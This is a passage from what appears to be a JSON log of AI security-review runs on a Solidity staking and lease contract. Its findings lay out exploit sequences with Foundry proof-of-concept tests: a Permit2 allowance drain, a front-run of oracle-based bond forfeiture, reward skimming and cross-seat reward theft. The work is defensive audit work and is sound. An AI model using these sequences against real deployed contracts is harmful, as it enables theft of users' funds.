RWD), which succeeds. (4) op calls quit(7), and settlement finds nothing. Expected: share(7,RWD,op) == 500e18. Actual: 0, and the owner holds all 1000e18. Second case: after quit and withdraw, the owner sells NFT 7 to a buyer, who deposits. 1000e18 RWD is paid to the holder, and the former owner calls Permit2.transferFrom again. Expected: holder balance 1000e18 booked to the buyer. Actual: holder balance 0. Both tests in the proof fail on the current code; they pass once claim() rejects PERMIT2 (approve never runs, transferFrom reverts on allowance).","severity":"medium","snippet":"        if (\n            target == address(seatNFT) || target == address(bondToken) || target == address(this)\n                || target == address(holder) || target.code.length == 0 || totalCredited[target] != 0\n                || _answersBalanceOf(target)\n        ) revert ForbiddenTarget(target);","title":"claim() lets the seat owner make the holder grant a lasting Permit2 allowance, draining unbooked rewards from the operator and from later depositors"}],"hash":"eed5ab4ec845b6047491932d6b931bff8072e6e25a1fa2678977184ab0f15ddb","nodeId":"51e40942-2553-4be8-a54b-39ab87199d4e","outcome":"completed","summary":"My earlier finding is fixed, and I found one new medium defect in `claim()`. The report is in `.imd-findings.json`: one finding, with a coverage row for all 22 entry points plus two invariants.\n\n**Earlier finding (low, cut-then-skim): fixed for declared reward tokens.** `cut`, `quit`, `take`, `cutByOracle` and `withdraw` now collect ETH and the owner's declared reward tokens before the operator changes. In `test/scratch/CutThenSkimSettled.t.sol`, 1000e18 of a declared token paid to the seat's wallet during a tenure is booked 500e18 to the owner and 500e18 to the operator at `cut`, and a later `skim` finds nothing left. Only tokens the owner never declared are still booked 100% to the owner after a cut. The README and REVIEW.md document that as an accepted limit, so I have not raised it again.\n\n**New finding (medium): `claim()` lets the owner set up a lasting Permit2 allowance on the seat's wallet** (`src/SeatLease.sol:497`)\n- **Cause:** `claim()` blocks any target that answers `balanceOf`, so the seat's wallet can never approve a token it holds. Uniswap's Permit2 contract has no `balanceOf`, so it passes every guard.\n- **Attack:** the owner calls `claim(7, PERMIT2, approve(RWD, owner, max, max), [])`. The seat's wallet records a Permit2 allowance for the owner that outlasts the call and is never revoked.\n- **Which tokens are exposed:** reward tokens that give Permit2 an unlimited allowance by default, as Solady's ERC20 does. For those, the owner can later move rewards out of the wallet before they are booked.\n- **Operator loss:** the operator's share goes to the owner, 0 instead of 500e18 in the test.\n- **Buyer loss:** the seat's wallet is reused for that token id after `withdraw`. A former owner who sold the NFT can still drain rewards paid while the buyer holds the seat.\n- **Proof:** `test/scratch/Permit2Approval.t.sol` has two tests, and both fail on the current code as the finding says. The fix I proposed is to add the canonical Permit2 address to `claim()`'s forbidden targets. I have not run the proof against a patched contract, because I can't edit source in a review, so \"passes once fixed\" comes from reasoning, not a test run.\n\n**Coverage:** every other entry point holds for access control, trust gaps and asymmetry. The slither and aderyn reentrancy and equality leads are covered by `nonReentrant` on every caller and by measured receipts; none reproduced as a defect.\n\n**Files written:** `.imd-findings.json` in the repo root and the two scratch tests under `test/scratch/`.","treeHash":null,"usage":{"cachedInputTokens":771692,"inputTokens":22,"model":"claude-fable-5-1","outputTokens":17809,"runtime":"claude","turns":13,"wallClockMs":236716}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"72b617d4b615473a","findings":[{"citation":"resolved","description":"Settlement of prior finding feb7af87 (Boundary: ordering of quit vs cutByOracle). The attached proof still fails on the revised code with 'attestation against the just-quit operator was rejected', so the defect reproduces unchanged: quit clears the operator and pushes the whole bond in one call, cutByOracle then reverts SeatVacant, and the owner never receives the forfeit. The revision added tenure binding (takenAt/takenBlock) which makes it worse in one respect: the operator does not even have to give up the seat. quit(7) followed by take(7) in the same block (Open mode, bond re-pulled) resets takenBlock, and the real attestation is then rejected with OracleWindowPredatesTenure(fromBlock, takenBlock) while the same operator sits with the same bond (verified: test/scratch/QuitRetake.t.sol, cutByOracle reverts OracleWindowPredatesTenure(105,110) and seat(7).operator == operator, bondHeld == 100e18). Author's response (REVIEW.md 'Medium, disputed'; README 'Quit is instant'): the brief says quit returns the bond, and another reviewer's held proof asserts the operator's full bond balance immediately after quit, so an unbonding window would fail a check the work is graded against. That constraint is real; I am not able to propose a fix that keeps quit(tokenId) returning the bond in the same call and also makes forfeiture enforceable. The economics stated in the brief ('bond forfeited to owner') therefore hold only against an operator who neither watches the mempool nor knows they misbehaved; the Open-mode bond is a deposit, not a penalty. This needs a scope decision by the requester: either accept the documented limitation (then this finding closes as documented) or revise the quit specification to hold the bond for an unbonding window during which cutByOracle against the departed operator's pending bond still forfeits it, and update the other reviewer's proof accordingly. Severity kept at medium because the guarantee is broken for exactly the operators it must bind; it is a documented trust assumption if the requester accepts the brief's instant-quit semantics.","line":351,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev quit() returns the bond instantly and unconditionally. An operator who sees a cutByOracle in the\n///      mempool (or who knows they misbehaved) quits first; the attestation then reverts with SeatVacant and the\n///      bond is never forfeited. Fails on the current code: the owner receives nothing.\ncontract QuitEscapesForfeitTest is Test {\n    bytes32 constant EIP712_DOMAIN_TYPEHASH =\n        keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n    bytes32 constant ATT_TYPEHASH = keccak256(\n        \"OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)\"\n    );\n\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address operator = makeAddr(\"operator\");\n    address oracle;\n    uint256 oracleKey;\n    uint256 constant TOKEN_ID = 7;\n    uint256 constant BOND_AMOUNT = 100e18;\n    bytes32 constant QUESTION = keccak256(\"did operator 7 misbehave?\");\n\n    function setUp() public {\n        (oracle, oracleKey) = makeAddrAndKey(\"oracle\");\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(operator, BOND_AMOUNT);\n        vm.warp(1_800_000_000);\n        vm.roll(100);\n\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, oracle, QUESTION, \"seat\");\n        vm.stopPrank();\n        vm.startPrank(operator);\n        bond.approve(address(lease), BOND_AMOUNT);\n        lease.take(TOKEN_ID);\n        vm.stopPrank();\n    }\n\n    function test_operatorQuitsAheadOfOracleCutAndKeepsBond() public {\n        // The real oracle has answered \"true\": the operator misbehaved. The owner broadcasts cutByOracle.\n        SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({\n            requestId: keccak256(\"req\"),\n            chainId: block.chainid,\n            questionHash: QUESTION,\n            answerType: lease.ANSWER_TYPE_BOOL(),\n            answer: abi.encode(true),\n            figure: 0,\n            fromBlock: uint64(block.number - 10),\n            toBlock: uint64(block.number),\n            blockHash: blockhash(block.number - 1),\n            panelJobId: keccak256(\"panel\"),\n            issuedAt: uint64(block.timestamp),\n            expiresAt: uint64(block.timestamp + 1 hours)\n        });\n        bytes32 domain = keccak256(\n            abi.encode(\n                EIP712_DOMAIN_TYPEHASH, keccak256(\"IdentityMD Oracle\"), keccak256(\"1\"), block.chainid, address(lease)\n            )\n        );\n        bytes32 structHash = keccak256(\n            abi.encode(\n                ATT_TYPEHASH,\n                att.requestId,\n                att.chainId,\n                att.questionHash,\n                att.answerType,\n                keccak256(att.answer),\n                att.figure,\n                att.fromBlock,\n                att.toBlock,\n                att.blockHash,\n                att.panelJobId,\n                att.issuedAt,\n                att.expiresAt\n            )\n        );\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(oracleKey, keccak256(abi.encodePacked(\"\\x19\\x01\", domain, structHash)));\n        bytes memory sig = abi.encodePacked(r, s, v);\n\n        // Operator front-runs in the same block.\n        vm.prank(operator);\n        lease.quit(TOKEN_ID);\n\n        // Expected: a valid, unexpired attestation issued while the operator held the seat still forfeits the\n        // bond to the owner (e.g. the bond stays claimable-by-oracle for an unbonding window).\n        // Actual: cutByOracle reverts SeatVacant and the operator already holds the full bond.\n        (bool ok,) = address(lease).call(abi.encodeCall(lease.cutByOracle, (TOKEN_ID, att, sig)));\n        assertTrue(ok, \"attestation against the just-quit operator was rejected\");\n        assertEq(bond.balanceOf(owner) + lease.bondOwed(owner), BOND_AMOUNT, \"owner never received the forfeited bond\");\n        assertEq(bond.balanceOf(operator), 0, \"operator escaped forfeiture with the full bond\");\n    }\n}","reproduction":"State: seat 7 deposited Open, ownerBps 5000, bondAmount 100e18, oracleSigner = oracle; operator took, bondHeld 100e18. Oracle signs attestation{questionHash=Q, answerType=1, answer=abi.encode(true), chainId=block.chainid, issuedAt=now, fromBlock>=takenBlock, expiresAt=now+1h}. Sequence A in one block: (1) operator: quit(7) -> bond.balanceOf(operator)=100e18; (2) owner: cutByOracle(7, att, sig) -> reverts SeatVacant(7). Expected: owner receives 100e18. Actual: owner 0, operator 100e18. Proof file fails on current code with 'attestation against the just-quit operator was rejected'. Sequence B (variant, test/scratch/QuitRetake.t.sol passes on current code, demonstrating the escape): at block 110 operator does quit(7); take(7) then cutByOracle(7, att{fromBlock:105}, sig) reverts OracleWindowPredatesTenure(105, 110); seat(7).operator == operator, seat(7).bondHeld == 100e18.","severity":"medium","snippet":"    function quit(uint256 tokenId) external nonReentrant {\n        Seat storage s = _seats[tokenId];\n        if (msg.sender != s.operator) revert NotOperator(tokenId, msg.sender);\n        uint256 held = _clearOperator(s);\n        emit SeatQuit(tokenId, msg.sender, held);\n        _payBond(msg.sender, held);\n    }","title":"quit() still returns the bond instantly; an operator front-runs cutByOracle (or quits and re-takes in the same block) and forfeiture is never enforced. Not fixed; author disputes as a brief constraint"},{"citation":"resolved","description":"Boundary / numerical gap on a fixed gas constant. Every ETH payout path (sweep and sweepFor, both via _payShare -> _tryPay) forwards exactly SWEEP_ETH_GAS = 100_000 gas and, on failure, restores the share. There is no path that forwards more gas, no pull-style withdrawal by the recipient, and shares are keyed to the account so they cannot be redirected. The comment at src/SeatLease.sol:97-98 ('A recipient that needs more, or that reverts, keeps its share booked and collects it later with sweepFor') and README line 344-346 promise a later collection that does not exist: sweepFor uses the same stipend and fails identically every time. Any owner or operator whose address is a contract with a receive() costing more than 100k gas (a payment splitter that records each deposit in several storage slots, a contract that forwards to multiple beneficiaries, a smart account with a heavy hook) permanently loses every ETH share booked to it, while ERC-20 shares to the same address pay fine. The recipient is not malicious and the gas cost of a legitimate receive() is not bounded by any standard. A minimal fix preserving the design: let sweepFor (which the recipient or anyone can call for a single account) forward gasleft() instead of the stipend, or accept a gas parameter, keeping the bounded stipend only in sweep where one recipient must not block the other. Alternatively expose a pull function that pays msg.sender its own share with full gas.","line":806,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev A seat owner whose receive() legitimately needs more than SWEEP_ETH_GAS (e.g. a splitter that records\n///      each payment in a few storage slots). Every push path (sweep and sweepFor) uses the same stipend, so the\n///      share is retained forever, although the docs say a recipient that needs more collects with sweepFor.\ncontract HeavyReceiver {\n    uint256[8] public log;\n    uint256 public n;\n\n    receive() external payable {\n        // ~8 cold SSTOREs from zero: ~8 * 22.1k > 100k gas\n        for (uint256 i; i < 8; ++i) {\n            log[i] = block.timestamp + n + i + msg.value;\n        }\n        ++n;\n    }\n}\n\ncontract StipendTest is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n    HeavyReceiver owner;\n    uint256 constant TOKEN_ID = 7;\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        owner = new HeavyReceiver();\n        nft.mint(address(owner), TOKEN_ID);\n        vm.warp(1_800_000_000);\n        vm.roll(100);\n        vm.startPrank(address(owner));\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 10_000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), \"s\");\n        vm.stopPrank();\n    }\n\n    function test_heavyReceiverCanNeverCollectEthShare() public {\n        // plain transfer with full gas works fine\n        HeavyReceiver probe = new HeavyReceiver();\n        vm.deal(address(this), 3 ether);\n        (bool okDirect,) = address(probe).call{value: 1}(\"\");\n        assertTrue(okDirect, \"receiver accepts ETH with normal gas\");\n\n        lease.credit{value: 1 ether}(TOKEN_ID, address(0), 1 ether);\n\n        lease.sweep(TOKEN_ID, address(0));\n        assertEq(address(owner).balance, 0, \"sweep paid nothing\");\n        assertEq(lease.share(TOKEN_ID, address(0), address(owner)), 1 ether, \"share retained\");\n\n        // docs: 'collects it later with sweepFor' -- same stipend, same result\n        lease.sweepFor(TOKEN_ID, address(0), address(owner));\n        assertEq(lease.share(TOKEN_ID, address(0), address(owner)), 0, \"sweepFor also retained: ETH stuck forever\");\n    }\n}","reproduction":"State: HeavyReceiver is a contract whose receive() writes 8 cold storage slots (~177k gas); it accepts a plain 1-wei transfer with default gas. nft.mint(HeavyReceiver, 7); HeavyReceiver deposits seat 7 (Permissioned, ownerBps 10000). Anyone: credit{value: 1 ether}(7, address(0), 1 ether). sweep(7, address(0)) -> ShareRetained, HeavyReceiver.balance == 0, share(7, 0, HeavyReceiver) == 1 ether. sweepFor(7, address(0), HeavyReceiver) -> ShareRetained again, share still 1 ether. Expected (per comment and README): the recipient collects later with sweepFor. Actual: no call sequence ever pays the 1 ether. Proof test/scratch/Stipend.t.sol fails with 'sweepFor also retained: ETH stuck forever: 1000000000000000000 != 0'.","severity":"low","snippet":"            uint256 stipend = SWEEP_ETH_GAS;\n            assembly (\"memory-safe\") {\n                ok := call(stipend, to, amount, 0, 0, 0, 0)\n            }","title":"ETH share owed to a recipient whose receive() needs more than SWEEP_ETH_GAS is retained by both sweep and sweepFor, so it is stuck permanently; the code comment and README say it can be collected late"},{"citation":"resolved","description":"Settlement of prior advisory c77817b7. The revision splits at booking time, which fixes the stronger version (a stranger taking a vacant seat and sweeping earlier balances; an owner cutting and re-sweeping already-booked balances). What remains is the timing lever: for distributors that pay only msg.sender (like the mock), rewards reach the holder only when the owner calls claim, and the owner may cut first so the booking lands while vacant and goes 100% to the owner. Anyone can skim what a distributor already paid to the holder, so account-keyed distributors are covered. Author documents this in README (Trust model) and REVIEW.md ('claim() lets the owner pick calldata...'). Recorded as settled-documented, not a defect to fix within the brief.","line":722,"path":"src/SeatLease.sol","reproduction":"State: seat 7 Open, ownerBps 0, operator seated; MockDistributor owes the holder 1_000e18 RWD, paying msg.sender on claim(). Owner in one tx: cut(7); claim(7, distributor, claim(), [RWD]); sweep(7, RWD). _book runs with operator == address(0), ownerPart = 1_000e18. Owner receives 1_000e18, operator 0 (operator expected 100% under ownerBps 0).","severity":"info","snippet":"        uint256 ownerPart = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;","title":"Settled: owner can still cut, then claim, then sweep to take 100% of rewards a distributor owes for the operator's tenure; now a documented trust assumption pinned by tests"}],"hash":"f4374056b3a5b7bf059aa508e7b558af4321a4f25b42d454c1bcd0438f8770c7","nodeId":"f086f98e-8003-4392-88d1-39cd4586e7ce","outcome":"completed","summary":"The review is complete. Findings are in `.imd-findings.json` at the repository root, with a coverage row for every listed entry point. No tracked file was changed. The scratch tests live under `test/scratch/`, which is not kept.\n\n**Settlement of the two prior mediums**\n\n- **take() front-run by setTerms: fixed.** The attached proof now fails with `TermsNotActive`, meaning the victim is never seated under swapped terms. `setTerms` arms a one-hour delay, `withdraw` re-arms it, and `deposit` inherits any pending delay. I traced the boundaries and found no bypass.\n- **quit() escapes forfeiture: still reproduces, not fixed.** The attached proof fails on the revised code exactly as before. The new tenure binding adds a worse variant: the operator can quit and re-take in the same block, keep the seat and the bond, and the genuine attestation is then rejected as predating the tenure. I verified this with a scratch test. The author disputes the finding as a brief constraint, since quit must return the bond in the same call and another reviewer's held proof asserts that. That constraint is real, so I reported it as a scope decision for the requester rather than proposing a fix that breaks the spec.\n\n**Settlement of the prior advisories**\n\n- withdraw locking contract owners: fixed via `transferFrom` in the holder.\n- Unlisted reward tokens stranded: fixed via per-seat holders and `skim`.\n- Owner taking 100% by cut, claim, sweep: booking-time split fixes the strong form. The timing lever for msg.sender-paying distributors remains and is documented. Recorded as info.\n- Rounding direction and the theoretical overflow: unchanged, accepted and documented. Not restated.\n\n**One new finding in my area (low)**\n\nETH pushes forward a fixed stipend of 100k gas on both `sweep` and `sweepFor`. A recipient whose receive needs more than that, such as a payment splitter writing several storage slots, never gets paid by any path, so its ETH share is stuck permanently. The code comment and README say such a recipient collects later with `sweepFor`, which is not true. A scratch proof fails on the current code with the share still fully retained after `sweepFor`.\n\n**Coverage**\n\nAll 21 entry points have rows. Two are marked `finding` for the quit issue, two for the stipend issue, and the rest `holds` after tracing checks, state changes and failure paths. I also recorded two invariant rows: shares always sum to credited through the retain-and-restore path, and the rounding direction is unchanged from the accepted design.","treeHash":null,"usage":{"cachedInputTokens":1061971,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":23712,"runtime":"claude","turns":26,"wallClockMs":380786}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3c7630b22a73c1fb","findings":[{"citation":"resolved","description":"Assumption violated: 'the balance increase during target.call belongs to tokenId'. The network pays rewards to the NFT holder, and for every deposited seat that holder is the same address: this registry. A distributor that pays msg.sender or a holder account (as MockDistributor does, and as a per-wallet Merkle leaf would) pays the registry once for all seats it holds. claim() measures the registry-wide balance delta and books all of it to whichever tokenId the caller names. Nothing ties the payout to that seat. Data the owner picks (for example claim(otherTokenId) on a per-token distributor callable by anyone) books another seat's payout to the caller's seat the same way. The 'no booked balance decreased' guard does not catch it, because other seats' rewards were never booked. Impact: rewards are paid to the wrong seat's owner and operator (loss of funds for every other seat). Fix: this is a design decision. Hold each seat in its own minimal per-seat holder (a clone that owns the NFT and is the reward recipient, with the registry as its only controller), so the holder address separates payouts by seat. Or accept only distributors whose claim is keyed by tokenId, and check the tokenId in the calldata against the seat. A single shared holder wallet cannot attribute per-holder payouts.","line":422,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\nimport {MockDistributor} from \"src/mocks/MockDistributor.sol\";\n\n/// Two seats held by the registry. The distributor pays the holder wallet (the registry) once for both.\n/// Alice claims first and every token that arrived is booked to her seat; Bob's seat gets nothing.\ncontract CrossSeatClaimTest is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    MockDistributor dist;\n    SeatLease lease;\n    address alice = makeAddr(\"alice\");\n    address bob = makeAddr(\"bob\");\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        dist = new MockDistributor(address(reward));\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(alice, 1);\n        nft.mint(bob, 2);\n        vm.startPrank(alice);\n        nft.approve(address(lease), 1);\n        lease.deposit(1, 10_000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n        vm.startPrank(bob);\n        nft.approve(address(lease), 2);\n        lease.deposit(2, 10_000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n        // Both seats earned 50 each; the distributor pays the holder address, which is the registry for both.\n        reward.mint(address(dist), 100e18);\n        dist.setReward(address(lease), 100e18, 0);\n    }\n\n    function test_claimBooksOtherSeatsRewardsToCaller() public {\n        address[] memory tokens = new address[](1);\n        tokens[0] = address(reward);\n        vm.prank(alice);\n        try lease.claim(1, address(dist), abi.encodeCall(MockDistributor.claim, ()), tokens) {} catch {}\n        // Seat 1 must not be credited more than its own 50e18 share of what the holder wallet received.\n        assertLe(lease.credited(1, address(reward)), 50e18, \"seat 1 booked seat 2's rewards\");\n    }\n}","reproduction":"Alice deposits tokenId 1 and Bob deposits tokenId 2 (both Permissioned, ownerBps 10000). The distributor owes the holder wallet (the registry) 100e18 RWD, 50e18 earned by each seat: dist.setReward(lease,100e18,0). Alice calls claim(1, dist, abi.encodeCall(MockDistributor.claim,()), [RWD]). Expected: at most 50e18 booked to seat 1. Actual: credited(1,RWD)=100e18 and credited(2,RWD)=0. sweep(1,RWD) pays Alice all 100e18, and Bob's rewards are gone because the distributor pays only once. Proof test fails with 'seat 1 booked seat 2's rewards: 1e20 > 5e19'.","severity":"high","snippet":"            if (gained != 0) _book(tokenId, tokens[i], gained);","title":"claim() books every token the holder wallet receives to the caller's seat, so the first owner to claim takes other seats' rewards"},{"citation":"resolved","description":"sweep() decides the split from whoever is operator at sweep time, not who operated when the balance was booked. A balance booked while the seat is vacant belongs 100% to the owner (the spec says a vacant seat pays everything to the owner). But an attacker can take() the Open seat, sweep() and quit() atomically, and receive (10000-ownerBps)/10000 of it. quit() returns the whole bond, so the attack costs only gas. Vacant balances arise from third-party credit(), from rewards booked after an operator quits, and from an owner's claim() tx that the attacker back-runs before the owner's separate sweep tx. The same mechanism lets a new operator sweep balances accrued under a previous operator. Fix: split at booking time. In _book, divide the amount by the current ownerBps and operator into per-party owed balances (or book to an owner-only bucket while vacant), and let sweep pay those out.","line":441,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// Rewards booked while an Open seat is vacant belong wholly to the owner, yet anyone can take, sweep and\n/// quit in one transaction and walk away with (10000 - ownerBps) of them, bond refunded.\ncontract VacantSkimTest is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n    address owner = makeAddr(\"owner\");\n    address attacker = makeAddr(\"attacker\");\n    address payer = makeAddr(\"payer\");\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, 7);\n        vm.startPrank(owner);\n        nft.approve(address(lease), 7);\n        lease.deposit(7, 5000, SeatLease.Mode.Open, address(0), 100e18, address(0), bytes32(0), \"open seat\");\n        vm.stopPrank();\n        bond.mint(attacker, 100e18);\n        vm.deal(payer, 10 ether);\n        // 10 ETH of rewards booked while nobody operates the seat.\n        vm.prank(payer);\n        lease.credit{value: 10 ether}(7, address(0), 10 ether);\n    }\n\n    function test_takeSweepQuitSkimsVacantRewards() public {\n        uint256 ownerBefore = owner.balance;\n        vm.startPrank(attacker);\n        bond.approve(address(lease), 100e18);\n        lease.take(7);\n        try lease.sweep(7, address(0)) {} catch {}\n        lease.quit(7);\n        vm.stopPrank();\n        if (lease.credited(7, address(0)) != 0) lease.sweep(7, address(0));\n\n        assertEq(attacker.balance, 0, \"attacker took a share of rewards booked while vacant\");\n        assertEq(owner.balance - ownerBefore, 10 ether, \"owner lost vacant-period rewards\");\n        assertEq(bond.balanceOf(attacker), 100e18);\n    }\n}","reproduction":"Open seat 7, ownerBps 5000, bondAmount 100e18. A payer calls credit{value:10 ether}(7, address(0), 10 ether) while the seat is vacant. The attacker, holding 100e18 bond, calls take(7), sweep(7, address(0)), quit(7) in one tx. Expected: the owner gets 10 ETH and the attacker 0. Actual: the attacker gets 5 ETH, the owner 5 ETH, and the attacker's 100e18 bond is refunded. Proof test fails with 'attacker took a share of rewards booked while vacant: 5e18 != 0'.","severity":"high","snippet":"        uint256 ownerAmount = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;","title":"Anyone can take an Open seat, sweep rewards booked while it was vacant, and quit with the bond refunded, all in one transaction"},{"citation":"resolved","description":"The attestation is bound to the seat's question and signer only, not to the operator or tenure it judged. expiresAt is the only time check. issuedAt, fromBlock and toBlock are signed but never compared with the moment the current operator took the seat (which is not recorded). An unused attestation about operator X stays valid after X leaves: X quits, or X front-runs the cut (see the quit finding), or the owner cut()s X and keeps the attestation. When Y takes the seat before expiresAt, anyone, typically the owner who receives the bond, submits it. Y is cut and Y's bond is forfeited to the owner. Y did nothing wrong. Fix: record takenAt (timestamp) and/or takenBlock in take(), and require attestation.issuedAt >= takenAt and attestation.fromBlock >= takenBlock in cutByOracle. This adds a condition and does not change the specified ones.","line":338,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// An attestation issued about operator X stays usable after X quits and cuts the next operator Y,\n/// forfeiting Y's bond to the owner although it was issued before Y ever took the seat.\ncontract StaleAttestationTest is Test {\n    bytes32 constant QUESTION = keccak256(\"seat 7: did the operator misbehave?\");\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n    address owner = makeAddr(\"owner\");\n    address x = makeAddr(\"x\");\n    address y = makeAddr(\"y\");\n    address oracle;\n    uint256 oracleKey;\n\n    function setUp() public {\n        (oracle, oracleKey) = makeAddrAndKey(\"oracle\");\n        vm.warp(1_800_000_000);\n        vm.roll(1000);\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, 7);\n        vm.startPrank(owner);\n        nft.approve(address(lease), 7);\n        lease.deposit(7, 5000, SeatLease.Mode.Open, address(0), 100e18, oracle, QUESTION, \"\");\n        vm.stopPrank();\n        bond.mint(x, 100e18);\n        bond.mint(y, 100e18);\n    }\n\n    function _digest(SeatLease.OracleAttestation memory a) internal view returns (bytes32) {\n        bytes32 domain = keccak256(\n            abi.encode(\n                keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"),\n                keccak256(\"IdentityMD Oracle\"),\n                keccak256(\"1\"),\n                block.chainid,\n                address(lease)\n            )\n        );\n        bytes32 structHash = keccak256(\n            abi.encode(\n                keccak256(\n                    \"OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)\"\n                ),\n                a.requestId,\n                a.chainId,\n                a.questionHash,\n                a.answerType,\n                keccak256(a.answer),\n                a.figure,\n                a.fromBlock,\n                a.toBlock,\n                a.blockHash,\n                a.panelJobId,\n                a.issuedAt,\n                a.expiresAt\n            )\n        );\n        return keccak256(abi.encodePacked(\"\\x19\\x01\", domain, structHash));\n    }\n\n    function test_attestationAboutPreviousOperatorCutsNewOperator() public {\n        vm.startPrank(x);\n        bond.approve(address(lease), 100e18);\n        lease.take(7);\n        vm.stopPrank();\n\n        // Oracle answers \"true\" about X's tenure (blocks 990..1000), valid for a day.\n        SeatLease.OracleAttestation memory a = SeatLease.OracleAttestation({\n            requestId: keccak256(\"req-1\"),\n            chainId: block.chainid,\n            questionHash: QUESTION,\n            answerType: 1,\n            answer: abi.encode(true),\n            figure: 0,\n            fromBlock: 990,\n            toBlock: 1000,\n            blockHash: blockhash(999),\n            panelJobId: keccak256(\"panel\"),\n            issuedAt: uint64(block.timestamp),\n            expiresAt: uint64(block.timestamp + 1 days)\n        });\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(oracleKey, _digest(a));\n        bytes memory sig = abi.encodePacked(r, s, v);\n\n        // X leaves with the bond before the attestation is submitted.\n        vm.prank(x);\n        lease.quit(7);\n\n        // An hour and 300 blocks later Y takes the seat in good faith.\n        vm.warp(block.timestamp + 1 hours);\n        vm.roll(block.number + 300);\n        vm.startPrank(y);\n        bond.approve(address(lease), 100e18);\n        lease.take(7);\n        vm.stopPrank();\n\n        // The owner submits the stale attestation.\n        vm.prank(owner);\n        try lease.cutByOracle(7, a, sig) {} catch {}\n\n        assertEq(lease.seat(7).operator, y, \"Y cut by an attestation issued before Y took the seat\");\n        assertEq(bond.balanceOf(owner), 0, \"Y's bond forfeited to the owner\");\n    }\n}","reproduction":"Open seat 7, oracleSigner=oracle, bond 100e18. X takes at block 1000. The oracle signs {requestId:req-1, questionHash:Q, answerType:1, answer:abi.encode(true), fromBlock:990, toBlock:1000, issuedAt:t0, expiresAt:t0+1 day}. X calls quit(7) and gets the bond back. At t0+1h, block 1300, Y calls take(7) and posts 100e18. The owner calls cutByOracle(7, att, sig). Expected: revert, because the attestation predates Y's tenure. Actual: Y is cut, and bond.balanceOf(owner) = 100e18 of Y's bond. Proof test fails with 'Y cut by an attestation issued before Y took the seat'.","severity":"high","snippet":"        if (attestation.expiresAt <= block.timestamp) revert 